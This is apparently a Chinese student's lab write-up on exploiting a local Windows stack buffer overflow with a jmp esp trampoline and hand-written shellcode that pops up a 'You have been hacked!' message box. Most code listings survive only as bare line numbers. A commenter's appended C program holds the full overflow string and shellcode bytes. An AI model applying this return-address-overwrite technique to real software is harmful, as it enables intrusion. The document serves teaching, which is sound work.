一、实验内容
利用一个程序漏洞,编写shellcode,达成效果:蹦出对话框,显示“You have been hacked!(by JWM)”
二、实验原理
因为输入了过长的字符,而缓冲区本身又没有有效的验证机制,导致过长的字符覆盖了返回地址。如果覆盖的返回地址是一个有效地址,而在该地址处又有有效的指令,那么系统就会毫不犹豫地跳到该地址处去执行指令。
本次实验中用到了跳板(jmp esp)
由于操作系统每次加载可执行文件到进程空间的位置都是无法预测的,因此栈的位置实际是不固定的,通过硬编码覆盖新返回地址的方式并不可靠。为了能准确定位shellcode的地址,需要借助一些额外的操作,其中最经典的是借助跳板的栈溢出方式。
如果在函数的返回地址填入一个地址,该地址指向的内存保存了一条特殊的指令jmp esp——跳板。那么函数返回后,会执行该指令并跳转到esp所在的位置。这样,不管程序被加载到哪个位置,最终都会回来执行栈内的代码。
跳板指令从哪找呢?“幸运”的是,在Windows操作系统加载的大量dll中,包含了许多这样的指令,比如kernel32.dll,ntdll.dll,这两个动态链接库是Windows程序默认加载的。而且更“神奇”的是Windows操作系统加载dll时候一般都是固定地址,因此这些dll内的跳板指令的地址一般都是固定的。我们可以离线搜索出跳板执行在dll内的偏移,并加上dll的加载地址,便得到一个适用的跳板指令地址!
OllyDBG命令:
- F8 单步执行
- F2 设置断点
- F7 进入函数
- F9 运行到断点
- Ctrl g 打开地址
三、实验体会
i春秋老师讲解得非常中肯,形象生动,解决了困扰我多时的疑惑。虽然感觉这次步骤多、工程大、用时久,但终究还是解决了困扰我多时的疑惑,比一个人默默看博客要好理解得多。
从前只会用msf生成现成的shellcode,并不懂得其中原理,而这次实验不同,从源码进行分析,手动编写C语言、汇编语言,亲眼见证了shellcode机器码如何生成,加深了对windows系统API库函数、函数调用堆栈、程序逆向的理解,收获颇丰。
本次实验只是本地缓冲区溢出漏洞利用,如何远程利用漏洞,开启shell,还值得进一步学习。
参考资料:
- i春秋《缓冲区溢出分析》
- http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html
四、过程记录
1、带有漏洞的程序
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
2、漏洞利用
(1)选取跳板
如何让程序跳转到esp的位置呢?我们这里可以使用jmp esp这条指令。jmp esp的机器码是0xFFE4,我们可以编写一个程序,来在user32.dll中查找这条指令的地址(当然,jmp esp在很多动态链接库中都存在,这里只是以user32.dll作为例子):
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
可以看到,这里列出了非常多的结果。(我自己动手敲的时候VC链接报错,于是直接使用i春秋的图)。我们随便取出一个结果用于实验。这里我选择的是倒数第二行的0x77e35b79。也就是说,需要使用这个地址来覆盖程序的返回地址。这样,程序在返回时,就会执行jmp esp,从而跳到返回地址下一个位置去执行该地址处的语句。
至此可以先总结一下即将要编写的“name”数组中的内容,经过分析可以知道,其形式为AAAAAAAAAAAAXXXXSSSS……SSSS。其中前12个字符为任意字符,XXXX为返回地址,这里我使用的是0x77e35b79,而SSSS是想要让计算机执行的代码。
(2)获取shellcode中API函数的地址
下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框。由于我在这里想要调用MessageBox()这个API函数,所以首先需要获取该函数的地址,这可以通过编写一个小程序来获取:
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
(3)编写汇编代码
将写汇编之前必要的信息罗列一下:
最终的汇编代码:
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
(4)得到shellcode机器码
在VC中在程序的“_asm”位置先下一个断点,然后按F5(Go),再单击Disassembly,就能够查看所转换出来的机器码(当然也可以使用OD或者IDA查看):
抽取出这些机器码,写入漏洞程序的数组中:
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
最终成果达到漏洞利用:
当输入回车,main执行完getchar(),即将退出时,跳转到修改过的返回地址,随即通过跳板执行当前ESP指向的指令(即Shellcode)
3、OllyDBG验证
明显看出name[]数组时怎样溢出、覆盖的。
==================================================================================
看了那么多文章这篇是收获最大的,但是里面出现了很多错误(或者说笔误),按照上面的代码弹不出来messagebox,我对这个程序进行了小改动,如下:
// test2.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <iostream>
using namespace std;
// jmp esp 0x75e18c25
// MessageBoxA 0x7607fdae
// ExitProcess 0x75e079b0
typedef void(*MYPROC)(LPTSTR);
char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41" // name[0]~name[7]
"\x41\x41\x41\x41" // to Overlap EBP
"\x25\x8c\xe1\x75" // Return Address(Address of "Jmp eax")
"\x83\xEC\x50" // sub esp,0x50
"\x33\xDB" // xor ebx,ebx
"\x53" // push ebx
"\x68\x69\x6E\x67\x20"
"\x68\x57\x61\x72\x6E" // push "Warning"
"\x8B\xC4" // mov eax,esp
"\x53" // push ebx
"\x68\x2E\x29\x20\x20"
"\x68\x20\x4A\x2E\x59"
"\x68\x21\x28\x62\x79"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61"
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20" // push "You have been hacked!(by Jwm)"
"\x8B\xCC" // mov ecx,esp
"\x53" // push ebx
"\x50" // push eax
"\x51" // push ecx
"\x53" // push ebx
"\xB8\xae\xfd\x07\x76"
"\xFF\xD0" // call MessageBox
"\x53"
"\xB8\xb0\x79\xe0\x75"
"\xFF\xD0"; // call ExitProcess
void fun1()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("user32");
//获取user32.dll的地址
printf("user32 = 0x%x \n", LibHandle);
//获取MessageBoxA的地址
ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
printf("MessageBoxA = 0x%x \n", ProcAdd);
}
__declspec(noinline) void fun2()
{
char buffer[8];
strcpy(buffer, name);
cout << buffer;
//printf("最终 buff : %x \n", buffer);
__asm mov eax,eax
}
int _tmain(int argc, _TCHAR* argv[])
{
__asm mov eax, eax
fun1();
fun2();
__asm mov ebx, ebx
getchar();
return 0;
}
注意:
1.要用release编译,debug编译之后strcpy只会自动生成校验代码,检测程序溢出,导致溢出失败
2.必须加载user32.dll,应为要调用MessageBox这个API,不加载其动态连接库怎么调用?
3.要使用
__declspec(noinline),否则使用release编译之后两个函数都会内联,强制不内敛就行了
4.fun2函数必须使用buff(最起码输出一下),要不编译器一看没人使用,直接回忽略掉这个缓冲区
5.可悲的是注意了这么多细节,最后结果依然是在执行shellcode之初时程序奔溃,不过我们也从此明白了溢出原理,